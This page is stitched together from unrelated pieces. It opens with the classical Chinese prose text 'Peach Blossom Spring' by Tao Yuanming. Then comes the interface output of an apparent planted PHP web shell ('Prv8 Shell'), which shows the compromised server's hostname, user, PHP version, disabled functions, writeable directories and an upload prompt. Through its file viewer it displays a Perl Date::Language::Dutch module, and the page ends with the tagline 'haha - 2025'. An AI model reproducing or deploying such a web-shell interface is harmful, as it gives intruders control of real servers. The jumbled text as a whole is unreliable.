晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /usr/share/perl5/vendor_perl/Date/Language/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/perl5/vendor_perl/Date/Language/Dutch.pm
##
## Dutch tables
## Contributed by Johannes la Poutre <jlpoutre@corp.nl.home.com>
##

package Date::Language::Dutch;

use Date::Language ();
use vars qw(@ISA @DoW @DoWs @MoY @MoYs @AMPM @Dsuf %MoY %DoW $VERSION);
@ISA = qw(Date::Language);
$VERSION = "1.02";

@MoY  = qw(januari februari maart april mei juni juli
           augustus september oktober november december);
@MoYs = map(substr($_, 0, 3), @MoY);
$MoYs[2] = 'mrt'; # mrt is more common (Frank Maas)
@DoW  = map($_ . "dag", qw(zon maan dins woens donder vrij zater));
@DoWs = map(substr($_, 0, 2), @DoW);

# these aren't normally used...
@AMPM = qw(VM NM);
@Dsuf = ('e') x 31;


@MoY{@MoY}  = (0 .. scalar(@MoY));
@MoY{@MoYs} = (0 .. scalar(@MoYs));
@DoW{@DoW}  = (0 .. scalar(@DoW));
@DoW{@DoWs} = (0 .. scalar(@DoWs));

# Formatting routines

sub format_a { $DoWs[$_[0]->[6]] }
sub format_A { $DoW[$_[0]->[6]] }
sub format_b { $MoYs[$_[0]->[4]] }
sub format_B { $MoY[$_[0]->[4]] }
sub format_h { $MoYs[$_[0]->[4]] }
sub format_p { $_[0]->[2] >= 12 ?  $AMPM[1] : $AMPM[0] }
sub format_o { sprintf("%2de",$_[0]->[3]) }

1;

haha - 2025